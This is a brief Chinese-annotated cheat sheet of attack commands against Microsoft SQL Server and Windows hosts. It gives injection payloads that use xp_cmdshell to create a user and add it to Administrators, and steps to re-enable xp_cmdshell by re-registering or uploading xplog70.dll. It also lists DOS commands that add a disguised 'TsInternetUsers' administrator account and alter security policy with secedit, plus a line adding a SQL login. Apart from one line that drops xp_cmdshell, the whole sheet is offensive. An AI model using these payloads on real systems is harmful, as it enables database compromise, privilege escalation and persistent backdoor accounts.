;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--

程序代码开启cmdshell的SQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname =\'xplog70.dll\'

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype=\'X\' and name=\'xp_cmdshell\'
返回结果为1就OK

恢复xp_cmdshell
Exec master.dbo.addextendedproc \'xp_cmdshell\',\'xplog70.dll\';select count(*) from master.dbo.sysobjects where xtype=\'X\' and name=\'xp_cmdshell\'
返回结果为1就OK

否则上传xplog7.0.dll
Exec master.dbo.addextendedproc \'xp_cmdshell\',\'C:/WinNt/System32/xplog70.dll\'

堵上cmdshell的SQL语句
sp_dropextendedproc "xp_cmdshell"


DOS:
dir c:/
dir d:/
dir e:/

net user TsInternetUsers Password /add
net localGroup Administrators TsInternetUsers /add

备份恢复IPSEC

secedit /export /CFG c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf

SQL:
exec master..sp_addlogin UserName,Password
